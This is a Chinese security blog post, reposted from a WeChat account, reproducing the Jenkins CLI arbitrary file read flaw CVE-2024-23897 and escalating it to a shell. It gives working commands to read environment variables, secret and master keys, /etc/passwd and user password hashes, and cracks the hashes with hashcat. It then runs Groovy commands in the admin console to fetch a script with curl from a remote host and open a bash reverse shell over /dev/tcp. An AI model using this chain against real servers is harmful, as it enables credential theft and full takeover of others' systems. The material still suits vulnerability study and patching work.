Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

admin 2024年8月12日21:16:07评论54 views字数 1667阅读5分33秒阅读模式
01CVE-2024-23897

Jenkins使用args4j来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过@字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。

该漏洞影响Jenkins 2.441及以前的版本

漏洞复现

访问http://your-ip:8080即可查看到Jenkins登录页面,默认的管理员帐号密码为admin和vulhub。利用该漏洞可以直接使用官方提供的命令行客户端,在http://localhost:8080/jnlpJars/jenkins-cli.jar下载

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

使用该工具读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http help 1 "@/var/jenkins_home/secret.key"

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

读/etc/passwd:

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http connect-node "@/etc/passwd"

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

枚举Jenkins用户、提取密码哈希值(爆破)

Jenkins 安装将有一个文件,其中列出了此处的所有有效用户:

/var/jenkins_home/users/users.xml

java -jar jenkins-cli.jar -s http://192.168.157.128:8080 connect-node '@/var/jenkins_home/users/users.xml'

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

users.xml显示系统上的单个用户,admin,其文件夹为 /var/jenkins_home/users/admin_2288316991897112890

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

读一下:

java -jar jenkins-cli.jar -s http://192.168.157.128:8080 connect-node '@/var/jenkins_home/users/admin_2288316991897112890/config.xml'

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

保存下来hashcat爆破一下:

hashcat -m 3200 jenkins.hash pass --force

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

拿到用户名和密码,登录后台。

jenkins后台getshell:

点击管理:

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

找到脚本控制台:

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

执行并打印系统命令:

println "whoami".execute().textprintln "ifconfig".execute().text

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

命令成功执行;上传反弹shell:

println "curl http://192.168.134.131/reverse.sh".execute().textprintln "bash reverse.sh".execute().textreverse.sh脚本内容:bash -c 'bash -i >& /dev/tcp/192.168.134.131/8787 0>&1'

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

反弹成功:

Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

 

原文始发于微信公众号(道玄网安驿站):Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月12日21:16:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)https://cn-sec.com/archives/3055253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息